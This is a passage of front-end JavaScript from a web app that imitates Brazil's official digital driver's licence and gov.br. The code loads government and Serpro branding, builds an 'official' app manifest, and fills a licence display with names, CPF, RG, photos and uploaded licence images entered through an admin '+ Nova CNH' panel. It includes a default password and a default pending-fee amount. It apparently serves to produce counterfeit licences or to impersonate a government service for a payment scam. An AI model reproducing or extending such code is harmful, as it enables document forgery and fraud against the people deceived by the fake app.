bs = bootDefault.querySelector('.cnh-sub-green-box'); if (bt) bt.textContent = lText; if (bs) bs.textContent = lSub; } const landingLogo = document.querySelector('#screenLanding .logo-cnh-brasil'); if (landingLogo) { landingLogo.innerHTML = `
${lText}
${lSub}
`; } const dImg = document.getElementById('drawerLogoCustomImg'); const dSvg = document.getElementById('drawerLogoDefaultSvg'); if (dImg && dSvg) { dImg.style.display = 'none'; dSvg.style.display = 'flex'; const bt = dSvg.querySelector('.cnh-text-blue'); const bs = dSvg.querySelector('.cnh-sub-green-box'); if (bt) bt.textContent = lText; if (bs) bs.textContent = lSub; } const wImg = document.getElementById('welcomeLogoCustomImg'); const wSvg = document.getElementById('welcomeLogoDefaultSvg'); if (wImg && wSvg) { wImg.style.display = 'none'; wSvg.style.display = 'flex'; const bt = wSvg.querySelector('.cnh-text-blue'); const bs = wSvg.querySelector('.cnh-sub-green-box'); if (bt) bt.textContent = lText; if (bs) bs.textContent = lSub; } } // ─ LOGO GOV.BR NO CABEÇALHO DA TELA DE LOGIN ─ const govLogoWrap = document.getElementById('govBrandLogoWrap'); if (govLogoWrap) { if (govLogoUrl) { govLogoWrap.innerHTML = ``; } else { const defaultSvg = document.getElementById('defaultGovSvgLogo'); if (!defaultSvg) { govLogoWrap.innerHTML = ``; } } } // Hero banner if (heroUrl) { const hero = document.querySelector('.hero-banner'); if (hero) hero.style.backgroundImage = `url('${heroUrl}')`; } // Logos individuais do Rodapé (Serpro, CNH do Brasil, Ministério) function applyFooterLogo(imgId, defaultId, src) { const img = document.getElementById(imgId); const def = document.getElementById(defaultId); if (src && typeof src === 'string' && src.trim() !== '' && img && def) { img.src = src; img.style.display = 'block'; def.style.display = 'none'; img.onerror = function() { img.style.display = 'none'; def.style.display = 'flex'; }; } else if (img && def) { img.style.display = 'none'; def.style.display = 'flex'; } } const curSerpro = (custom.footerSerproImg !== undefined) ? custom.footerSerproImg : localStorage.getItem('valFooterSerpro'); const curCnh = (custom.footerCnhImg !== undefined) ? custom.footerCnhImg : localStorage.getItem('valFooterCnh'); const curMin = (custom.footerMinisterioImg !== undefined) ? custom.footerMinisterioImg : localStorage.getItem('valFooterMinisterio'); // Aplica na Home applyFooterLogo('imgFooterSerpro', 'defaultSerproContent', resolveMediaUrl(curSerpro)); applyFooterLogo('imgFooterCnh', 'defaultCnhContent', resolveMediaUrl(curCnh)); applyFooterLogo('imgFooterMinisterio', 'defaultMinisterioContent', resolveMediaUrl(curMin)); // Mantém localStorage alinhado if (curSerpro) localStorage.setItem('valFooterSerpro', curSerpro); else localStorage.removeItem('valFooterSerpro'); if (curCnh) localStorage.setItem('valFooterCnh', curCnh); else localStorage.removeItem('valFooterCnh'); if (curMin) localStorage.setItem('valFooterMinisterio', curMin); else localStorage.removeItem('valFooterMinisterio'); // Cards Banners da Tela Inicial (Condutor, Veículos, Infrações, Educação) const condutorImg = resolveMediaUrl(custom.cardCondutorImg || localStorage.getItem('valCondutorImg')); if (condutorImg) { const imgEl = document.getElementById('imgCardCondutorCustom'); if (imgEl) { imgEl.src = condutorImg; imgEl.style.display = 'block'; } } const veiculosImg = resolveMediaUrl(custom.cardVeiculosImg || localStorage.getItem('valVeiculosImg')); if (veiculosImg) { const imgEl = document.getElementById('imgCardVeiculosCustom'); if (imgEl) { imgEl.src = veiculosImg; imgEl.style.display = 'block'; } } const infracoesImg = resolveMediaUrl(custom.cardInfracoesImg || localStorage.getItem('valInfracoesImg')); if (infracoesImg) { const imgEl = document.getElementById('imgCardInfracoesCustom'); if (imgEl) { imgEl.src = infracoesImg; imgEl.style.display = 'block'; } } const educacaoImg = resolveMediaUrl(custom.cardEducacaoImg || localStorage.getItem('valEducacaoImg')); if (educacaoImg) { const imgEl = document.getElementById('imgCardEducacaoCustom'); if (imgEl) { imgEl.src = educacaoImg; imgEl.style.display = 'block'; } } // Textos PWA banner if (custom.pwaTitle) { const el = document.querySelector('.pwa-app-title'); if (el) el.textContent = custom.pwaTitle; } if (custom.pwaSub) { const el = document.querySelector('.pwa-app-sub'); if (el) el.textContent = custom.pwaSub; } if (custom.pwaBtnText) { const el = document.getElementById('btnPwaInstall'); if (el) el.textContent = custom.pwaBtnText; } // Tela de download if (custom.updateTitle) { const el = document.getElementById('updateTitleEl'); if (el) el.innerHTML = custom.updateTitle.replace('\n','
'); } if (custom.downloadBtnText) { const el = document.getElementById('btnDownloadApp'); if (el) el.textContent = '📥 ' + custom.downloadBtnText; } // Botão gov.br if (custom.btnText) { const el = document.querySelector('.btn-gov'); if (el) el.textContent = custom.btnText; } if (custom.btnColor) { document.querySelectorAll('.btn-gov, .btn-pwa-install, #btnDownloadApp').forEach(b => b.style.background = custom.btnColor); } // ─ Ícone do App, Favicon, Apple Touch Icon e Título da Tela de Início ─ const appIcon = custom.logoImage || 'icon-512.png'; // 1. Favicon e Ícone de Atalho no navegador const fav = document.getElementById('app-favicon'); if (fav) fav.href = custom.logoImage || 'icon-192.png'; // 2. Apple Touch Icon (Ícone na tela de início do iPhone/iOS) const appleIcon = document.getElementById('apple-touch-icon'); if (appleIcon) appleIcon.href = appIcon; // 3. Apple Web App Title const appleTitle = document.getElementById('apple-app-title'); if (appleTitle) appleTitle.setAttribute('content', appName); // 4. PWA Manifest Dinâmico (Android Chrome / Edge / Desktop PWA) const manifest = { short_name: appName, name: appName, description: "Carteira Digital de Trânsito Oficial", icons: [ { src: appIcon, sizes: "512x512", type: "image/png", purpose: "any maskable" }, { src: "icon-192.png", sizes: "192x192", type: "image/png", purpose: "any maskable" } ], start_url: "index.html?mode=standalone", background_color: "#ffffff", theme_color: custom.btnColor || "#1d5cc7", display: "standalone", orientation: "portrait" }; const mBlob = new Blob([JSON.stringify(manifest)], { type: 'application/manifest+json' }); const mLink = document.querySelector('link[rel="manifest"]'); if (mLink) mLink.href = URL.createObjectURL(mBlob); // Documento CNH em PDF ou Imagem Personalizada const cnhPdfDoc = custom.cnhCustomPdfDoc || localStorage.getItem('valCnhPdfDoc'); if (cnhPdfDoc) { const slide1 = document.getElementById('cnhSlide1'); if (slide1) { const isPdf = cnhPdfDoc.includes('application/pdf') || cnhPdfDoc.toLowerCase().endsWith('.pdf') || cnhPdfDoc.startsWith('data:application/pdf'); if (isPdf) { slide1.innerHTML = '
📄 Carregando documento CNH...
'; if (window.pdfjsLib) { pdfjsLib.GlobalWorkerOptions.workerSrc = 'https://cdnjs.cloudflare.com/ajax/libs/pdf.js/3.11.174/pdf.worker.min.js'; let loadingTask; if (cnhPdfDoc.includes('base64,')) { try { const base64Data = cnhPdfDoc.split('base64,')[1]; const raw = window.atob(base64Data); const uint8Array = new Uint8Array(raw.length); for (let i = 0; i < raw.length; i++) { uint8Array[i] = raw.charCodeAt(i); } loadingTask = pdfjsLib.getDocument({ data: uint8Array }); } catch (e) { loadingTask = pdfjsLib.getDocument(cnhPdfDoc); } } else { loadingTask = pdfjsLib.getDocument(cnhPdfDoc); } loadingTask.promise.then(pdf => { pdf.getPage(1).then(page => { const pdfCanvas = document.createElement('canvas'); const context = pdfCanvas.getContext('2d'); const viewport = page.getViewport({ scale: 2 }); pdfCanvas.height = viewport.height; pdfCanvas.width = viewport.width; pdfCanvas.style.cssText = "width:100%; height:auto; max-height:460px; object-fit:contain; border-radius:8px; display:block; margin:0 auto;"; slide1.innerHTML = ''; slide1.appendChild(pdfCanvas); page.render({ canvasContext: context, viewport: viewport }); }); }).catch(() => { slide1.innerHTML = ``; }); } else { slide1.innerHTML = ``; } } else { slide1.innerHTML = ``; } } } } // ─── SINCRONIZA COM O QUE FOI CADASTRADO/EDITADO EM "+ NOVA CNH" (servidor é a fonte da verdade) ─── let _syncBusy = false; function syncFromServer(rawCpf) { if (_syncBusy) return Promise.resolve(false); const cpfDigits = (rawCpf || (activeDriver && activeDriver.cpf) || '').replace(/\D/g, ''); const action = (cpfDigits && cpfDigits.length >= 11) ? 'verificar_cpf_cnh' : 'get_latest_cnh'; _syncBusy = true; reloadCustomizationFromServer(); return fetch('../api/index.php?action=' + action, { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ cpf: cpfDigits }) }) .then(r => r.json()) .then(res => { if (!res || res.status !== 'success' || !res.data) return false; try { var curClean = (cpfDigits || (res.data && res.data.cpf) || '').replace(/\D/g, ''); if (curClean) { var cList2 = JSON.parse(localStorage.getItem('happynation_canceled_cpfs') || '[]'); if (cList2.indexOf(curClean) !== -1) { cList2 = cList2.filter(function(c){ return c !== curClean; }); localStorage.setItem('happynation_canceled_cpfs', JSON.stringify(cList2)); } } if (typeof hideCnhCanceledNotice === 'function') hideCnhCanceledNotice(); } catch(eUnc){} const d = res.data; const dados = d.dados || {}; const prev = activeDriver || {}; const full = { nome: d.nome || dados.nome || prev.nome || 'CONDUTOR', cpf: d.cpf || (cpfDigits && cpfDigits.length === 11 ? cpfDigits : (prev.cpf || '')), senha: dados.senha || prev.senha || '840169', sexo: dados.sexo || dados.genero || prev.sexo || 'Masculino', cat: d.categoria || dados.cat || dados.categoria || prev.cat || 'B', uf: dados.uf || prev.uf || 'SP', validade: dados.validade || prev.validade || '', emissao: dados.emissao || prev.emissao || '', id: d.id || dados.id || prev.id || '', rg: dados.rg || d.rg || prev.rg || '', nasc: dados.nasc || prev.nasc || '', mae: dados.mae || prev.mae || '', pai: dados.pai || prev.pai || '', reg: dados.reg || prev.reg || '', hab: dados.hab || prev.hab || '', local: dados.local || prev.local || '', valor_pendencia: d.valor_pendencia || dados.valor_pendencia || prev.valor_pendencia || '500,00' }; const foto = d.foto || dados.foto || null; const s = [d.slide1 || dados.slide1, d.slide2 || dados.slide2, d.slide3 || dados.slide3, d.slide4 || dados.slide4]; try { if (foto) { if (full.id) localStorage.setItem('happynation_foto_' + full.id, foto); localStorage.setItem('happynation_foto_active', foto); } s.forEach((v, i) => { if (v) { localStorage.setItem('happynation_cnh_slide' + (i + 1), v); const el = document.querySelector('#cnhSlide' + (i + 1) + ' img'); if (el) el.src = resolveMediaUrl(v); } }); } catch (eQ) {} try { const last = Object.assign({}, full, { foto: foto || undefined, slide1: s[0] || undefined, slide2: s[1] || undefined, slide3: s[2] || undefined, slide4: s[3] || undefined }); localStorage.setItem('happynation_last_cnh', JSON.stringify(last)); } catch (eL) { try { localStorage.setItem('happynation_last_cnh', JSON.stringify(full)); } catch (eL2) {} } bindDriverData(new URLSearchParams(full)); activeDriver = Object.assign({}, full, activeDriver); try { localStorage.setItem('cnh_active_driver', JSON.stringify(activeDriver)); } catch (eA) {} loadActiveCnhSlides(); if (typeof renderAppQr === 'function') { const b = document.getElementById('appQrBox'); if (b) b.removeAttribute('data-url'); if (currentCnhSlide === 4) renderAppQr(); } return true; }) .catch(() => false) .then(ok => { _syncBusy = false; return ok; }); } let _appInitialized = false; function dismissBootSplash() { const boot = document.getElementById('app-boot'); if (boot && boot.style.display !== 'none' && !boot._dismissed) { boot._dismissed = true; boot.style.transition = 'opacity 0.4s ease'; boot.style.opacity = '0'; setTimeout(() => { boot.style.display = 'none'; }, 400); } } // Dismiss de segurança garantido: nunca trava na tela de splash setTimeout(dismissBootSplash, 1800); const fetchConfig = (url) => fetch(url).then(r => r.json()).then(res => { if (res && res.status === 'success' && res.data) { localStorage.setItem('happynation_webapp_customization', JSON.stringify(res.data)); if (res.data.logoImage) { localStorage.setItem('happynation_admin_logo', res.data.logoImage); localStorage.setItem('valLogoImage', res.data.logoImage); } applyCustomization(res.data); return true; } if (res && res.data && Object.keys(res.data).length > 0) { localStorage.setItem('happynation_webapp_customization', JSON.stringify(res.data)); if (res.data.logoImage) { localStorage.setItem('happynation_admin_logo', res.data.logoImage); localStorage.setItem('valLogoImage', res.data.logoImage); } applyCustomization(res.data); return true; } return false; }); function reloadCustomizationFromServer() { fetchConfig('../api/index.php?action=get_webapp_customization') .catch(() => fetchConfig('api/index.php?action=get_webapp_customization')) .catch(() => fetchConfig('../api/config')) .catch(() => fetchConfig('api/config')) .catch(() => {}); } function initApp() { if (_appInitialized) return; _appInitialized = true; // 1. Carrega imediatamente do localStorage para exibição instantânea const localCustom = JSON.parse(localStorage.getItem('happynation_webapp_customization')); if (localCustom) { applyCustomization(localCustom); } // 2. Busca a configuração oficial direto do Banco MySQL reloadCustomizationFromServer(); // 3. BOOT SPLASH: dismiss suave após 1.2s setTimeout(dismissBootSplash, 1200); if (isStandaloneApp()) { closePwaBanner(); } let lastCnh = null; try { lastCnh = JSON.parse(localStorage.getItem('happynation_last_cnh') || '{}'); } catch(e) {} const p = new URLSearchParams(window.location.search); if (lastCnh) { for (const [k, v] of Object.entries(lastCnh)) { if (!p.has(k) && v) p.set(k, v); } } bindDriverData(p); loadActiveCnhSlides(); // Sincronização e Restauração de Sessão (mantém tela atual ao recarregar a página) const isLoggedIn = localStorage.getItem('cnh_logged_in') === 'true'; const savedScreen = localStorage.getItem('cnh_current_screen'); const savedDriverStr = localStorage.getItem('cnh_active_driver'); if (isLoggedIn && savedDriverStr) { try { activeDriver = JSON.parse(savedDriverStr); } catch(e) {} // Se houver dados no happynation_last_cnh com mesmo CPF, mescla dados atualizados try { const lastCnh = JSON.parse(localStorage.getItem('happynation_last_cnh') || '{}'); if (lastCnh && lastCnh.cpf && activeDriver && activeDriver.cpf && lastCnh.cpf.replace(/\D/g, '') === activeDriver.cpf.replace(/\D/g, '')) { activeDriver = Object.assign(activeDriver, lastCnh); localStorage.setItem('cnh_active_driver', JSON.stringify(activeDriver)); } } catch(e) {} // Atualiza com o que foi cadastrado/editado em + Nova CNH syncFromServer(activeDriver && activeDriver.cpf); bindDriverData(new URLSearchParams(activeDriver)); loadActiveCnhSlides(); // Permanece na mesma tela que o usuário parou const targetScreen = (savedScreen && document.getElementById(savedScreen)) ? savedScreen : 'screenHome'; showAppScreen(targetScreen); if (targetScreen === 'screenApp') { const savedSlide = parseInt(localStorage.getItem('cnh_active_slide') || '1', 10); setCnhSlide(savedSlide || 1); } } else if (p.get('view') === 'cnh' || p.get('direct') === '1' || p.get('screen') === 'app' || p.get('cnh') === '1') { dismissBootSplash(); syncFromServer(p.get('cpf')); showAppScreen('screenApp'); setCnhSlide(1); } else { syncFromServer(); openCnhApp(); } // Sync periódico e ao focar no app para refletir alterações feitas no painel setInterval(() => { if (!document.hidden) syncFromServer(); }, 30000); document.addEventListener('visibilitychange', () => { if (!document.hidden) syncFromServer(); }); window.addEventListener('focus', () => syncFromServer()); } if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', initApp); } else { initApp(); } window.addEventListener('load', initApp); // ─── LIVE SYNC: quando o Admin salva, o app atualiza em tempo real ─── window.addEventListener('storage', (e) => { if (e.key && e.key !== 'happynation_webapp_customization' && e.key !== 'happynation_admin_logo' && e.key !== 'valLogoImage' && e.key !== 'happynation_gov_logo' && e.key !== 'valFooterSerpro' && e.key !== 'valFooterCnh' && e.key !== 'valFooterMinisterio') return; // Recarrega a customização completa do localStorage e aplica tudo try { const custom = JSON.parse(localStorage.getItem('happynation_webapp_customization') || '{}'); if (custom && Object.keys(custom).length > 0) applyCustomization(custom); } catch(err) {} });